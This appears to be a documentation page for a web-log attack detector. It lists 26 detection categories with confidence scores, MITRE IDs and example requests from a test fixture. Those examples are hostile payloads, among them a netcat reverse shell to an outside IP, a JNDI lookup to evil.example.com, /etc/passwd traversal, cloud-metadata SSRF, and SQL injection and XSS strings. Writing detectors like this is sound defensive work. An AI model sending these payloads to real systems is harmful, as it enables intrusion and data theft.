v0.7.1 · updated · GitHub

26 Categories

Every row: confidence (the score of its fixture example), description, and a real example from testdata/sample.log (not invented). All examples use TEST-NET IPs and are reproducible via caddy-analyze --detect testdata/sample.log. MITRE IDs verified in MITRE & Sigma.

Confidence
Highest per-category patterns score 9–10 (e.g. UNION SELECT), heuristics score 6–7. Guard default --detect-confidence 8 blocks only ≥8. Lowering it to 6 allows more pattern-based blocks; 0 disables only pattern-based blocks, not other guard controls. Behavioral categories (ua_rotation, object_enumeration, beaconing) need ≥10 samples.
#CategoryConfidenceDescriptionExample (from fixture)MITRE
1sql_injection8SQL keywords + tautology/login.php?user=admin'+OR+'1'%3D'1'--+T1190
2nosql_injection8MongoDB operators/api/login?username[$ne]=invalidT1190
3xss8Script tags, event handlers, JS URIs/search?q=%3Cscript%3Ealert(1)%3C/script%3ET1059.007, T1189
4ssti8Template probes (Jinja, FreeMarker)/profile?name={{7*7}}T1190
5ssrf10Cloud metadata, private IP, loopback/fetch?url=http://169.254.169.254/latest/meta-data/T1190
6rce9Shell, reverse shell, LOLBins, deserialization/cgi-bin/bash?cmd=nc+-e+/bin/sh+185.220.101.5+4444T1059, T1190
7path_traversal8Directory traversal, null byte, /proc, win.ini/view?file=../../../../etc/passwdT1083
8lfi_wrapper_abuse9PHP stream wrappers/?file=php://filter/convert.base64-encode/resource=index.phpT1083, T1190
9graphql_introspection8Schema discovery queries/graphql?query={__schema{types{...}}}T1595.002
10log4j_jndi10JNDI lookup, env/sys accessUser-Agent: ${jndi:ldap://evil.example.com/a}T1190, T1059
11sensitive_file_probe8.env, git, id_rsa, dumps, .sql/.envT1083, T1552.001
12admin_probe8phpMyAdmin, Spring Actuator, H2, heapdump/phpmyadmin/T1595.002
13wordpress_probe8xmlrpc, wp-content, plugins/xmlrpc.php?rsdT1595.002
14cgi_probe7cgi-bin, .cgi/.pl/.fcgi/cgi-bin/test.cgiT1595.002
15scanner930+ UA sigs (nikto, sqlmap, nuclei…)User-Agent: nikto/2.5.0T1595
16xxe8ENTITY SYSTEM, XInclude, jar:///api/xml?xml=%3C!DOCTYPE+foo+[<!ENTITY+xxe+SYSTEM+…T1190
17open_redirect7?url=https://, //evil, @ bypass/login?next=https://evil.example.com/T1566.002
18ldap_injection8Filter chars (&, |, (), *)/search?filter=(uid=*))T1190
19xpath_injection7XPath tautology, ]|//* /search?q='%20OR%20'1'%3D'1T1190
20crlf_injection8Set-Cookie/Location via %0d%0a + ghost bits/redirect?to=/home%0d%0aSet-Cookie:%20evil=1T1190, T1059
21prototype_pollution8__proto__ / constructor.prototype/api/update?__proto__[isAdmin]=1T1190, T1059.007
22ssi_injection8<!--#exec cmd=, #include virtual=/page?name=%3C!--%23exec+cmd=%22ls%22--%3ET1190, T1059
23ua_rotation6≥10 distinct UAs from one IP (heuristic)11 UAs on /?r=0…10 from 198.51.100.32T1595.001
24jwt_abuse10alg:none, kid traversal, leaked tokenAuthorization: Bearer eyJhbGciOiJub25l…T1550.001, T1190
25object_enumeration7Sequential IDs per path template (BOLA)/api/users/1 … /api/users/15 from 198.51.100.35T1595.002, T1190
26beaconing6Regular intervals per path, jitter CV<0.25/api/heartbeat every 60s ×12 from 198.51.100.36T1071.001, T1573

All examples are from testdata/sample.log via testdata/generate.py (deterministic, TEST-NET). Verify locally: caddy-analyze --detect testdata/sample.log should fire all 26. Confidence shown is for that exact fixture payload; individual patterns currently range from 2–10 — see evasion & Sigma for gate/markers.

No invented examples
Every example above was read from testdata/generate.py lines 107–217. If a future category has no fixture, this page will say “no fixture example yet” instead of inventing one.